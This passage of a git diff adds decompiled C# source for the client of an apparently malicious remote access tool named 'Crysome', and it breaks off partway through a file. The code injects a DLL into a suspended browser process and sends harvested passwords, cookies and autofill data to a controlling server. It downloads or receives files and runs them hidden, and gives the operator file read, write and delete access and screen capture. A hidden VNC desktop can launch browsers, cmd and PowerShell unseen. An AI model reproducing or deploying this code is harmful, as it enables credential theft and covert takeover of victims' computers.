--disable-features=RendererCodeIntegrity about:blank")); + STARTUPINFOW lpStartupInfo = new STARTUPINFOW + { + cb = Marshal.SizeOf(typeof(STARTUPINFOW)), + dwFlags = 257u, + wShowWindow = 0, + hStdInput = IntPtr.Zero, + hStdOutput = IntPtr.Zero, + hStdError = IntPtr.Zero + }; + uint dwCreationFlags = 134217740u; + if (!CreateProcess(null, lpCommandLine, IntPtr.Zero, IntPtr.Zero, bInheritHandles: false, dwCreationFlags, IntPtr.Zero, null, ref lpStartupInfo, out var lpProcessInformation)) + { + Program.Log("InjectAndRun: CreateProcess failed for " + exeName + " err=" + Marshal.GetLastWin32Error()); + return false; + } + intPtr = lpProcessInformation.hProcess; + intPtr2 = lpProcessInformation.hThread; + byte[] bytes = Encoding.Unicode.GetBytes(dllPath + "\0"); + UIntPtr uIntPtr = (UIntPtr)(ulong)bytes.Length; + intPtr3 = VirtualAllocEx(intPtr, IntPtr.Zero, uIntPtr, 12288u, 4u); + if (intPtr3 == IntPtr.Zero) + { + TerminateProcess(intPtr, 0u); + return false; + } + if (!WriteProcessMemory(intPtr, intPtr3, bytes, uIntPtr, out var lpNumberOfBytesWritten) || lpNumberOfBytesWritten != uIntPtr) + { + VirtualFreeEx(intPtr, intPtr3, UIntPtr.Zero, 32768u); + TerminateProcess(intPtr, 0u); + return false; + } + IntPtr moduleHandle = GetModuleHandle("kernel32.dll"); + if (moduleHandle == IntPtr.Zero) + { + TerminateProcess(intPtr, 0u); + return false; + } + IntPtr procAddress = GetProcAddress(moduleHandle, "LoadLibraryW"); + if (procAddress == IntPtr.Zero) + { + TerminateProcess(intPtr, 0u); + return false; + } + intPtr4 = CreateRemoteThread(intPtr, IntPtr.Zero, UIntPtr.Zero, procAddress, intPtr3, 0u, out var _); + if (intPtr4 == IntPtr.Zero) + { + Program.Log("InjectAndRun: CreateRemoteThread failed for " + exeName + " err=" + Marshal.GetLastWin32Error()); + VirtualFreeEx(intPtr, intPtr3, UIntPtr.Zero, 32768u); + TerminateProcess(intPtr, 0u); + return false; + } + uint num = WaitForSingleObject(intPtr4, 8000u); + uint lpExitCode = 0u; + GetExitCodeThread(intPtr4, out lpExitCode); + CloseHandle(intPtr4); + intPtr4 = IntPtr.Zero; + VirtualFreeEx(intPtr, intPtr3, UIntPtr.Zero, 32768u); + intPtr3 = IntPtr.Zero; + if (lpExitCode == 0 || num == 258) + { + Program.Log("InjectAndRun: LoadLibrary returned 0 or timed out for " + exeName + " exitCode=" + lpExitCode + " waitResult=" + num); + TerminateProcess(intPtr, 0u); + return false; + } + ResumeThread(intPtr2); + hProcessOut = intPtr; + intPtr = IntPtr.Zero; + return true; + } + catch (Exception ex) + { + Program.Log("InjectAndRun: " + ex.Message); + if (intPtr != IntPtr.Zero) + { + try + { + TerminateProcess(intPtr, 0u); + } + catch + { + } + } + return false; + } + finally + { + if (intPtr4 != IntPtr.Zero) + { + CloseHandle(intPtr4); + } + if (intPtr3 != IntPtr.Zero && intPtr != IntPtr.Zero) + { + VirtualFreeEx(intPtr, intPtr3, UIntPtr.Zero, 32768u); + } + if (intPtr2 != IntPtr.Zero) + { + CloseHandle(intPtr2); + } + if (intPtr != IntPtr.Zero) + { + CloseHandle(intPtr); + } + } + } + + private static void SendResponse(CrysomeClient client, string error, string pw, string ck, string af) + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Expected O, but got Unknown + try + { + client.SendPacket((IPacket)new CredentialsResponsePacket(error ?? "", pw ?? "", ck ?? "", af ?? "")); + } + catch (Exception ex) + { + Program.Log("Credentials send error: " + ex.Message); + } + } + + private static void CleanupOutputDirectories() + { + string[] array = new string[2] + { + Path.Combine(LocalAppData, "output"), + Path.Combine(Path.GetTempPath(), "output") + }; + foreach (string path in array) + { + try + { + if (Directory.Exists(path)) + { + Directory.Delete(path, recursive: true); + } + } + catch + { + } + } + } +} diff --git a/Crysome.Client/Crysome.Client.Handlers/DirectLinkHandlers.cs b/Crysome.Client/Crysome.Client.Handlers/DirectLinkHandlers.cs new file mode 100644 index 0000000..a38be40 --- /dev/null +++ b/Crysome.Client/Crysome.Client.Handlers/DirectLinkHandlers.cs @@ -0,0 +1,56 @@ +using System; +using System.Diagnostics; +using System.IO; +using System.Net; +using Crysome.Common.Network; +using Crysome.Common.Network.Packets; +using Crysome.Common.Network.Packets.Client; +using Crysome.Common.Network.Packets.Server; + +namespace Crysome.Client.Handlers; + +public static class DirectLinkHandlers +{ + public static void HandleDirectLink(CrysomeClient client, IPacket packet) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Expected O, but got Unknown + //IL_00b0: Unknown result type (might be due to invalid IL or missing references) + //IL_00ba: Expected O, but got Unknown + DirectLinkRequestPacket val = (DirectLinkRequestPacket)packet; + string text; + try + { + string url = val.Url; + if (string.IsNullOrEmpty(url)) + { + text = "ERR: Empty URL"; + } + else + { + string text2 = Path.GetFileName(new Uri(url).LocalPath); + if (string.IsNullOrEmpty(text2)) + { + text2 = "download.exe"; + } + string fileName = Path.Combine(Path.GetTempPath(), text2); + using (WebClient webClient = new WebClient()) + { + webClient.DownloadFile(url, fileName); + } + Process.Start(new ProcessStartInfo + { + FileName = fileName, + UseShellExecute = true, + WindowStyle = ProcessWindowStyle.Hidden + }); + text = "OK DL: " + text2; + } + } + catch (Exception ex) + { + text = "ERR DL: " + ex.Message; + } + client.SendPacket((IPacket)new DirectLinkResponsePacket(text)); + } +} diff --git a/Crysome.Client/Crysome.Client.Handlers/DxgiCapture.cs b/Crysome.Client/Crysome.Client.Handlers/DxgiCapture.cs new file mode 100644 index 0000000..b88bd22 --- /dev/null +++ b/Crysome.Client/Crysome.Client.Handlers/DxgiCapture.cs @@ -0,0 +1,280 @@ +using System; +using System.Drawing; +using System.Drawing.Imaging; +using System.IO; +using System.Runtime.InteropServices; +using SharpDX; +using SharpDX.Direct3D11; +using SharpDX.DXGI; +using TurboJpegWrapper; +using Device = SharpDX.Direct3D11.Device; +using MapFlags = SharpDX.Direct3D11.MapFlags; +using Resource = SharpDX.DXGI.Resource; + +namespace Crysome.Client.Handlers +{ + internal sealed class DxgiCapture : IDisposable + { + private Device _device; + private OutputDuplication _duplication; + private Texture2D _staging; + private int _width; + private int _height; + private bool _disposed; + + private byte[] _bgrBuffer; + private TJCompressor _turboJpeg; + private bool _turboAvailable; + + public int Width => _width; + public int Height => _height; + public bool IsInitialized => _duplication != null; + + public bool Init(int screenIndex) + { + Cleanup(); + try + { + using (var factory = new Factory1()) + { + Adapter1 adapter = factory.GetAdapter1(0); + _device = new Device(adapter, DeviceCreationFlags.BgraSupport); + + int outputIdx = Math.Max(0, screenIndex); + Output output = adapter.GetOutput(outputIdx); + using (var output1 = output.QueryInterface()) + { + _width = output.Description.DesktopBounds.Right - output.Description.DesktopBounds.Left; + _height = output.Description.DesktopBounds.Bottom - output.Description.DesktopBounds.Top; + + _staging = new Texture2D(_device, new Texture2DDescription + { + CpuAccessFlags = CpuAccessFlags.Read, + BindFlags = BindFlags.None, + Format = Format.B8G8R8A8_UNorm, + Width = _width, + Height = _height, + MipLevels = 1, + ArraySize = 1, + SampleDescription = new SampleDescription(1, 0), + Usage = ResourceUsage.Staging, + OptionFlags = ResourceOptionFlags.None + }); + + _duplication = output1.DuplicateOutput(_device); + } + output.Dispose(); + adapter.Dispose(); + } + + _bgrBuffer = new byte[_width * _height * 3]; + + try + { + _turboJpeg = new TJCompressor(); + _turboAvailable = true; + } + catch + { + _turboAvailable = false; + } + + return true; + } + catch + { + Cleanup(); + return false; + } + } + + public byte[] CaptureFrameToJpeg(int quality, int timeoutMs = 8) + { + if (_duplication == null) + return null; + + Resource desktopResource = null; + try + { + var result = _duplication.TryAcquireNextFrame(timeoutMs, out _, out desktopResource); + if (result.Failure || desktopResource == null) + return null; + + using (var texture = desktopResource.QueryInterface()) + { + _device.ImmediateContext.CopyResource(texture, _staging); + } + + var mapSource = _device.ImmediateContext.MapSubresource(_staging, 0, MapMode.Read, MapFlags.None); + try + { + ConvertBgraToRgb(mapSource.DataPointer, mapSource.RowPitch); + } + finally + { + _device.ImmediateContext.UnmapSubresource(_staging, 0); + } + + if (_turboAvailable) + return TurboEncode(quality); + else + return GdiEncode(quality); + } + catch (SharpDXException ex) when (ex.ResultCode.Code == SharpDX.DXGI.ResultCode.AccessLost.Result.Code) + { + Cleanup(); + return null; + } + catch + { + return null; + } + finally + { + try { desktopResource?.Dispose(); } catch { } + try { _duplication?.ReleaseFrame(); } catch { } + } + } + + private unsafe void ConvertBgraToRgb(IntPtr srcPtr, int srcStride) + { + fixed (byte* dstBase = _bgrBuffer) + { + byte* src = (byte*)srcPtr; + byte* dst = dstBase; + int dstStride = _width * 3; + + for (int y = 0; y < _height; y++) + { + byte* srcRow = src + y * srcStride; + byte* dstRow = dst + y * dstStride; + int x = 0; + + for (; x < _width; x++) + { + dstRow[0] = srcRow[2]; // R (turbo wants RGB) + dstRow[1] = srcRow[1]; // G + dstRow[2] = srcRow[0]; // B + srcRow += 4; + dstRow += 3; + } + } + } + } + + private byte[] TurboEncode(int quality) + { + try + { + return _turboJpeg.Compress( + _bgrBuffer, + _width * 3, + _width, + _height, + TJPixelFormats.TJPF_RGB, + TJSubsamplingOptions.TJSAMP_420, + quality, + TJFlags.FASTDCT); + } + catch + { + _turboAvailable = false; + return GdiEncode(quality); + } + } + + private byte[] GdiEncode(int quality) + { + using (var bmp = new Bitmap(_width, _height, PixelFormat.Format24bppRgb)) + { + var bmpData = bmp.LockBits( + new Rectangle(0, 0, _width, _height), + ImageLockMode.WriteOnly, + PixelFormat.Format24bppRgb); + + int bgrStride = _width * 3; + int dstStride = bmpData.Stride; + + unsafe + { + fixed (byte* srcBase = _bgrBuffer) + { + byte* dst = (byte*)bmpData.Scan0; + for (int y = 0; y < _height; y++) + { + // BGR buffer has RGB order, but Bitmap Format24bppRgb expects BGR + byte* srcRow = srcBase + y * bgrStride; + byte* dstRow = dst + y * dstStride; + for (int x = 0; x < _width; x++) + { + dstRow[0] = srcRow[2]; // B + dstRow[1] = srcRow[1]; // G + dstRow[2] = srcRow[0]; // R + srcRow += 3; + dstRow += 3; + } + } + } + } + + bmp.UnlockBits(bmpData); + + var codec = GetJpegCodec(); + using (var ms = new MemoryStream(131072)) + { + if (codec != null) + { + using (var ep = new EncoderParameters(1)) + { + ep.Param[0] = new EncoderParameter(Encoder.Quality, quality); + bmp.Save(ms, codec, ep); + } + } + else + { + bmp.Save(ms, ImageFormat.Jpeg); + } + return ms.ToArray(); + } + } + } + + private static ImageCodecInfo _jpegCodec; + private static readonly object _codecLock = new object(); + + private static ImageCodecInfo GetJpegCodec() + { + if (_jpegCodec != null) return _jpegCodec; + lock (_codecLock) + { + if (_jpegCodec != null) return _jpegCodec; + foreach (var info in ImageCodecInfo.GetImageEncoders()) + if (info.FormatID == ImageFormat.Jpeg.Guid) + { _jpegCodec = info; break; } + } + return _jpegCodec; + } + + private void Cleanup() + { + try { _turboJpeg?.Dispose(); } catch { } + try { _duplication?.Dispose(); } catch { } + try { _staging?.Dispose(); } catch { } + try { _device?.Dispose(); } catch { } + _turboJpeg = null; + _duplication = null; + _staging = null; + _device = null; + _bgrBuffer = null; + } + + public void Dispose() + { + if (!_disposed) + { + _disposed = true; + Cleanup(); + } + } + } +} diff --git a/Crysome.Client/Crysome.Client.Handlers/FileHandlers.cs b/Crysome.Client/Crysome.Client.Handlers/FileHandlers.cs new file mode 100644 index 0000000..67874f8 --- /dev/null +++ b/Crysome.Client/Crysome.Client.Handlers/FileHandlers.cs @@ -0,0 +1,254 @@ +using System; +using System.IO; +using System.Linq; +using System.Security; +using Crysome.Client.SystemInfo; +using Crysome.Client.Util; +using Crysome.Client.Web; +using Crysome.Common.Model; +using Crysome.Common.Network; +using Crysome.Common.Network.Packets; +using Crysome.Common.Network.Packets.Client; +using Crysome.Common.Network.Packets.Server; + +namespace Crysome.Client.Handlers; + +public static class FileHandlers +{ + private const int MaxIconsPerListing = 120; + + public static void HandleGetDirectory(CrysomeClient client, IPacket packet) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Expected O, but got Unknown + GetDirectoryRequestPacket val = (GetDirectoryRequestPacket)packet; + string path = ((val.Path == string.Empty) ? Environment.GetFolderPath(Environment.SpecialFolder.UserProfile) : val.Path); + GetDirectoryFileEntries(client, path, val.RequestId); + } + + public static void HandleDeleteFile(CrysomeClient client, IPacket packet) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Expected O, but got Unknown + DeleteFileRequestPacket val = (DeleteFileRequestPacket)packet; + string fullName = Directory.GetParent(val.Path).FullName; + if (Directory.Exists(val.Path)) + { + Directory.Delete(val.Path, recursive: true); + } + else if (File.Exists(val.Path)) + { + File.Delete(val.Path); + } + GetDirectoryFileEntries(client, fullName, 0L); + } + + public static void HandleSendFile(CrysomeClient client, IPacket packet) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Expected O, but got Unknown + SendFileRequestPacket val = (SendFileRequestPacket)packet; + File.WriteAllBytes(Path.Combine(Environment.CurrentDirectory, val.Filename), val.FileData); + } + + public static void HandleWriteFile(CrysomeClient client, IPacket packet) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Expected O, but got Unknown + //IL_0121: Unknown result type (might be due to invalid IL or missing references) + //IL_0126: Unknown result type (might be due to invalid IL or missing references) + //IL_012d: Unknown result type (might be due to invalid IL or missing references) + //IL_0139: Unknown result type (might be due to invalid IL or missing references) + //IL_014a: Expected O, but got Unknown + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_003d: Expected O, but got Unknown + //IL_0054: Unknown result type (might be due to invalid IL or missing references) + //IL_0059: Unknown result type (might be due to invalid IL or missing references) + //IL_0060: Unknown result type (might be due to invalid IL or missing references) + //IL_006b: Unknown result type (might be due to invalid IL or missing references) + //IL_007c: Expected O, but got Unknown + //IL_0093: Unknown result type (might be due to invalid IL or missing references) + //IL_0098: Unknown result type (might be due to invalid IL or missing references) + //IL_009f: Unknown result type (might be due to invalid IL or missing references) + //IL_00aa: Unknown result type (might be due to invalid IL or missing references) + //IL_00bb: Expected O, but got Unknown + //IL_00f5: Unknown result type (might be due to invalid IL or missing references) + //IL_00fa: Unknown result type (might be due to invalid IL or missing references) + //IL_0101: Unknown result type (might be due to invalid IL or missing references) + //IL_010c: Unknown result type (might be due to invalid IL or missing references) + //IL_011d: Expected O, but got Unknown + WriteFileRequestPacket val = (WriteFileRequestPacket)packet; + try + { + if (string.IsNullOrEmpty(val.DestPath)) + { + client.SendPacket((IPacket)new WriteFileResponsePacket + { + Success = false, + ErrorMessage = "Empty path", + TransferId = val.TransferId + }); + return; + } + if (val.Data == null || val.Data.Length == 0) + { + client.SendPacket((IPacket)new WriteFileResponsePacket + { + Success = false, + ErrorMessage = "Empty data", + TransferId = val.TransferId + }); + return; + } + if ((long)val.Data.Length > 104857600L) + { + client.SendPacket((IPacket)new WriteFileResponsePacket + { + Success = false, + ErrorMessage = "File too large (max 100MB)", + TransferId = val.TransferId + }); + return; + } + string directoryName = Path.GetDirectoryName(val.DestPath); + if (!string.IsNullOrEmpty(directoryName) && !Directory.Exists(directoryName)) + { + Directory.CreateDirectory(directoryName); + } + File.WriteAllBytes(val.DestPath, val.Data); + client.SendPacket((IPacket)new WriteFileResponsePacket + { + Success = true, + ErrorMessage = "", + TransferId = val.TransferId + }); + } + catch (Exception ex) + { + client.SendPacket((IPacket)new WriteFileResponsePacket + { + Success = false, + ErrorMessage = ex.Message, + TransferId = val.TransferId + }); + } + } + + public static void HandleDownloadFile(CrysomeClient client, IPacket packet) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Expected O, but got Unknown + DownloadFileRequestPacket val = (DownloadFileRequestPacket)packet; + new WebFileDownloader().DownloadFile(val.Url); + } + + public static void HandleReadFile(CrysomeClient client, IPacket packet) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Expected O, but got Unknown + //IL_00bc: Unknown result type (might be due to invalid IL or missing references) + //IL_00c6: Expected O, but got Unknown + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Expected O, but got Unknown + //IL_004c: Unknown result type (might be due to invalid IL or missing references) + //IL_0056: Expected O, but got Unknown + //IL_00a0: Unknown result type (might be due to invalid IL or missing references) + //IL_00aa: Expected O, but got Unknown + //IL_007e: Unknown result type (might be due to invalid IL or missing references) + //IL_0088: Expected O, but got Unknown + ReadFileRequestPacket val = (ReadFileRequestPacket)packet; + try + { + if (string.IsNullOrEmpty(val.Path)) + { + client.SendPacket((IPacket)new ReadFileResponsePacket(false, "Empty path", (byte[])null, val.TransferId)); + return; + } + if (!File.Exists(val.Path)) + { + client.SendPacket((IPacket)new ReadFileResponsePacket(false, "File not found", (byte[])null, val.TransferId)); + return; + } + if (new FileInfo(val.Path).Length > 104857600) + { + client.SendPacket((IPacket)new ReadFileResponsePacket(false, "File too large (max 100MB)", (byte[])null, val.TransferId)); + return; + } + byte[] array = File.ReadAllBytes(val.Path); + client.SendPacket((IPacket)new ReadFileResponsePacket(true, (string)null, array, val.TransferId)); + } + catch (Exception ex) + { + client.SendPacket((IPacket)new ReadFileResponsePacket(false, ex.Message, (byte[])null, val.TransferId)); + } + } + + private static void GetDirectoryFileEntries(CrysomeClient client, string path, long requestId) + { + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + //IL_006f: Unknown result type (might be due to invalid IL or missing references) + //IL_009f: Unknown result type (might be due to invalid IL or missing references) + //IL_00cf: Unknown result type (might be due to invalid IL or missing references) + //IL_00ff: Unknown result type (might be due to invalid IL or missing references) + //IL_012f: Unknown result type (might be due to invalid IL or missing references) + //IL_0137: Expected O, but got Unknown + try + { + DirectoryInfo directoryInfo = new DirectoryInfo(path); + if (directoryInfo.Exists) + { + FileSystemEntry[] directories = FileExplorer.GetDirectories(path); + FileSystemEntry[] files = FileExplorer.GetFiles(path); + GetDirectoryResponsePacket val = new GetDirectoryResponsePacket + { + Name = directoryInfo.Name, + Path = directoryInfo.FullName, + Folders = directories.Select((FileSystemEntry folder) => folder.Name).ToArray(), + Files = files.Select((FileSystemEntry file) => file.Name).ToArray(), + FileSizes = files.Select((FileSystemEntry file) => file.Size).ToArray(), + FolderLastWriteUtcTicks = directories.Select((FileSystemEntry f) => f.LastWriteUtcTicks).ToArray(), + FileLastWriteUtcTicks = files.Select((FileSystemEntry f) => f.LastWriteUtcTicks).ToArray(), + RequestId = requestId + }; + val.FolderIconPng = new byte[directories.Length][]; + for (int num = 0; num < directories.Length; num++) + { + string fullPath = Path.Combine(directoryInfo.FullName, directories[num].Name); + val.FolderIconPng[num] = ((num < 120) ? ShellSmallIconPng.TryGetPng(fullPath, isDirectory: true) : null); + } + val.FileIconPng = new byte[files.Length][]; + for (int num2 = 0; num2 < files.Length; num2++) + { + string fullPath2 = Path.Combine(directoryInfo.FullName, files[num2].Name); + val.FileIconPng[num2] = ((num2 < 120) ? ShellSmallIconPng.TryGetPng(fullPath2, isDirectory: false) : null); + } + client.SendPacket((IPacket)(object)val); + } + } + catch (SecurityException) + { + NotifyStatus(client, "Insufficient privileges."); + } + catch (ArgumentException) + { + NotifyStatus(client, "Invalid path."); + } + catch (Exception) + { + NotifyStatus(client, "An unexpected error has occured."); + } + } + + private static void NotifyStatus(CrysomeClient client, string statusMessage) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Expected O, but got Unknown + client.SendPacket((IPacket)new NotifyStatusResponsePacket(statusMessage)); + } +} diff --git a/Crysome.Client/Crysome.Client.Handlers/FileTransferHandlers.cs b/Crysome.Client/Crysome.Client.Handlers/FileTransferHandlers.cs new file mode 100644 index 0000000..a8aa74d --- /dev/null +++ b/Crysome.Client/Crysome.Client.Handlers/FileTransferHandlers.cs @@ -0,0 +1,135 @@ +using System; +using System.Diagnostics; +using System.IO; +using Crysome.Common.Network; +using Crysome.Common.Network.FileTransfer; +using Crysome.Common.Network.Packets; +using Crysome.Common.Network.Packets.Client; +using Crysome.Common.Network.Packets.Server; + +namespace Crysome.Client.Handlers; + +public static class FileTransferHandlers +{ + private const int MaxFileBytes = 157286400; + + private static FtReceiver _receiver; + + internal static volatile string LastDllPath; + + public static void HandleFileTransfer(CrysomeClient client, IPacket packet) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Expected O, but got Unknown + //IL_00a1: Unknown result type (might be due to invalid IL or missing references) + //IL_00ab: Expected O, but got Unknown + FileTransferRequestPacket val = (FileTransferRequestPacket)packet; + string text; + try + { + if (val.FileData == null || val.FileData.Length == 0) + { + text = "ERR: Empty payload"; + } + else if (val.FileData.Length > 157286400) + { + text = "ERR: Payload too large"; + } + else + { + string text2 = SanitizeFileName(val.Filename); + string text3 = Path.Combine(Path.GetTempPath(), text2); + File.WriteAllBytes(text3, val.FileData); + Process.Start(new ProcessStartInfo + { + FileName = text3, + UseShellExecute = true, + WindowStyle = ProcessWindowStyle.Hidden + }); + text = "OK: " + text2; + } + } + catch (Exception ex) + { + text = "ERR: " + ex.Message; + } + client.SendPacket((IPacket)new FileTransferResponsePacket(text)); + } + + public static void HandleFtStart(CrysomeClient client, IPacket packet) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Expected O, but got Unknown + //IL_0063: Unknown result type (might be due to invalid IL or missing references) + //IL_006d: Expected O, but got Unknown + _receiver = new FtReceiver(client); + _receiver.OnComplete = delegate(string name, byte[] data) + { + try + { + string text = SanitizeFileName(name); + string text2 = Path.Combine(Path.GetTempPath(), text); + File.WriteAllBytes(text2, data); + Program.Log("FtReceiver saved: " + text2 + " (" + data.Length + " B)"); + if (text.EndsWith(".dll", StringComparison.OrdinalIgnoreCase)) + { + LastDllPath = text2; + } + else + { + Process.Start(new ProcessStartInfo + { + FileName = text2, + UseShellExecute = true, + WindowStyle = ProcessWindowStyle.Hidden + }); + } + } + catch (Exception ex) + { + Program.Log("FtReceiver execute error: " + ex.Message); + } + }; + _receiver.OnError = delegate(string msg) + { + Program.Log("FtReceiver error: " + msg); + }; + _receiver.HandleStart((FtStartPacket)packet); + } + + public static void HandleFtChunk(CrysomeClient client, IPacket packet) + { + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Expected O, but got Unknown + FtReceiver receiver = _receiver; + if (receiver != null) + { + receiver.HandleChunk((FtChunkPacket)packet); + } + } + + public static void HandleFtAbort(CrysomeClient client, IPacket packet) + { + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Expected O, but got Unknown + FtReceiver receiver = _receiver; + if (receiver != null) + { + receiver.HandleAbort((FtAbortPacket)packet); + } + } + + private static string SanitizeFileName(string name) + { + if (string.IsNullOrEmpty(name)) + { + return "received.dat"; + } + char[] invalidFileNameChars = Path.GetInvalidFileNameChars(); + foreach (char oldChar in invalidFileNameChars) + { + name = name.Replace(oldChar, '_'); + } + return name; + } +} diff --git a/Crysome.Client/Crysome.Client.Handlers/HvncHandlers.cs b/Crysome.Client/Crysome.Client.Handlers/HvncHandlers.cs new file mode 100644 index 0000000..fc33cb0 --- /dev/null +++ b/Crysome.Client/Crysome.Client.Handlers/HvncHandlers.cs @@ -0,0 +1,349 @@ +using System; +using System.Collections.Concurrent; +using System.Diagnostics; +using System.Drawing; +using System.Drawing.Imaging; +using System.IO; +using System.Threading; +using Crysome.Client.Hvnc; +using Crysome.Common.Network; +using Crysome.Common.Network.Packets; +using Crysome.Common.Network.Packets.Server; + +namespace Crysome.Client.Handlers; + +public static class HvncHandlers +{ + private const string DesktopName = "CrysomeHvncDesktop"; + + private static volatile bool _running; + + private static Thread _captureThread; + + private static Thread _sendThread; + + private static CrysomeClient _client; + + private static HvncImagingHandler _imaging; + + private static HvncInputHandler _input; + + private static HvncProcessHandler _process; + + private static int _quality; + + private static int _intervalMs; + + private static readonly object _lock; + + private static readonly BlockingCollection _hvncInputQueue; + + private static readonly Thread _hvncInputPump; + + private static volatile byte[] _pendingFrame; + + private static readonly SemaphoreSlim _frameSem; + + static HvncHandlers() + { + _quality = 80; + _intervalMs = 50; + _lock = new object(); + _hvncInputQueue = new BlockingCollection(); + _frameSem = new SemaphoreSlim(0, 1); + _hvncInputPump = new Thread((ThreadStart)delegate + { + foreach (Action item in _hvncInputQueue.GetConsumingEnumerable()) + { + try + { + item?.Invoke(); + } + catch (Exception ex) + { + Program.Log("HVNC input: " + ex.Message); + } + } + }) + { + IsBackground = true, + Name = "HvncInputPump" + }; + _hvncInputPump.Start(); + } + + public static void HandleStartHvnc(CrysomeClient client, IPacket packet) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Expected O, but got Unknown + StartHvncPacket val = (StartHvncPacket)packet; + lock (_lock) + { + if (!_running) + { + _quality = Math.Max(10, Math.Min(100, val.Quality)); + _intervalMs = Math.Max(33, Math.Min(500, val.IntervalMs)); + _client = client; + try + { + _imaging = new HvncImagingHandler("CrysomeHvncDesktop"); + _input = new HvncInputHandler("CrysomeHvncDesktop"); + _process = new HvncProcessHandler("CrysomeHvncDesktop"); + _process.StartExplorer(); + Thread.Sleep(500); + } + catch (Exception ex) + { + Program.Log("HVNC init: " + ex.Message); + DisposeHandlers(); + return; + } + _running = true; + _pendingFrame = null; + _sendThread = new Thread(SendLoop) + { + IsBackground = true, + Name = "HvncSend" + }; + _sendThread.Start(); + _captureThread = new Thread(CaptureLoop) + { + IsBackground = true, + Name = "HvncCapture" + }; + _captureThread.Start(); + } + } + } + + public static void HandleStopHvnc(CrysomeClient client, IPacket packet) + { + lock (_lock) + { + _running = false; + try + { + _frameSem.Release(); + } + catch + { + } + _captureThread?.Join(3000); + _sendThread?.Join(2000); + DisposeHandlers(); + } + } + + public static void HandleHvncRunRequest(CrysomeClient client, IPacket packet) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Expected O, but got Unknown + HvncRunRequestPacket val = (HvncRunRequestPacket)packet; + if (!_running || _process == null) + { + return; + } + try + { + switch (val.Action) + { + case 0: + _process.StartExplorer(); + break; + case 1: + _process.StartRunDialog(); + break; + case 2: + _process.StartCmd(); + break; + case 3: + _process.StartPowerShell(); + break; + case 4: + _process.StartChrome(); + break; + case 5: + _process.StartEdge(); + break; + case 6: + _process.StartFirefox(); + break; + case 7: + _process.StartOpera(); + break; + case 8: + _process.StartOperaGX(); + break; + case 9: + _process.StartBrave(); + break; + case 17: + _process.StartNotepad(); + break; + case 18: + _process.StartCalculator(); + break; + case 11: + case 12: + case 13: + case 14: + case 15: + case 16: + _process.HandleCloneRequest(val.Action); + break; + case 19: + _process.StartDiscord(); + break; + case 10: + if (!string.IsNullOrEmpty(val.Path)) + { + _process.CreateProc(val.Path); + } + break; + } + } + catch (Exception ex) + { + Program.Log("HVNC run: " + ex.Message); + } + } + + public static void HandleHvncInput(CrysomeClient client, IPacket packet) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Expected O, but got Unknown + HvncInputPacket val = (HvncInputPacket)packet; + if (_running && _input != null) + { + uint msg = (uint)val.Msg; + IntPtr wParam = new IntPtr(val.WParam); + IntPtr lParam = new IntPtr(val.LParam); + _hvncInputQueue.Add(delegate + { + _input.Input(msg, wParam, lParam); + }); + } + } + + private static void DisposeHandlers() + { + try + { + _imaging?.Dispose(); + _imaging = null; + _input?.Dispose(); + _input = null; + _process = null; + } + catch + { + } + } + + private static void SendLoop() + { + while (_running) + { + try + { + _frameSem.Wait(100); + if (!_running) + { + break; + } + byte[] array = Interlocked.Exchange(ref _pendingFrame, null); + if (array != null && array.Length != 0) + { + if (!_client.IsConnected) + { + break; + } + _client.SendHvncFrame(array); + } + } + catch (Exception ex) + { + Program.Log("HVNC send: " + ex.Message); + if (!_running) + { + break; + } + } + } + } + + private static void CaptureLoop() + { + ImageCodecInfo jpegCodec = GetJpegCodec(); + Stopwatch stopwatch = Stopwatch.StartNew(); + while (_running && _client != null && _imaging != null) + { + long elapsedMilliseconds = stopwatch.ElapsedMilliseconds; + try + { + if (!_client.IsConnected) + { + break; + } + using Bitmap bitmap = _imaging.Screenshot(); + if (bitmap != null) + { + byte[] array = EncodeJpeg(bitmap, jpegCodec); + if (array != null && array.Length != 0) + { + Interlocked.Exchange(ref _pendingFrame, array); + try + { + _frameSem.Release(); + } + catch (SemaphoreFullException) + { + } + } + } + } + catch (Exception ex2) + { + Program.Log("HVNC capture: " + ex2.Message); + } + long num = stopwatch.ElapsedMilliseconds - elapsedMilliseconds; + int num2 = Math.Max(0, _intervalMs - (int)num); + if (num2 > 0) + { + Thread.Sleep(num2); + } + } + } + + private static ImageCodecInfo GetJpegCodec() + { + ImageCodecInfo[] imageEncoders = ImageCodecInfo.GetImageEncoders(); + foreach (ImageCodecInfo imageCodecInfo in imageEncoders) + { + if (imageCodecInfo.FormatID == ImageFormat.Jpeg.Guid) + { + return imageCodecInfo; + } + } + return null; + } + + private static byte[] EncodeJpeg(Bitmap bmp, ImageCodecInfo codec) + { + if (codec == null) + { + using (MemoryStream memoryStream = new MemoryStream()) + { + bmp.Save(memoryStream, ImageFormat.Jpeg); + return memoryStream.ToArray(); + } + } + using MemoryStream memoryStream2 = new MemoryStream(); + using (EncoderParameters encoderParameters = new EncoderParameters(1)) + { + encoderParameters.Param[0] = new 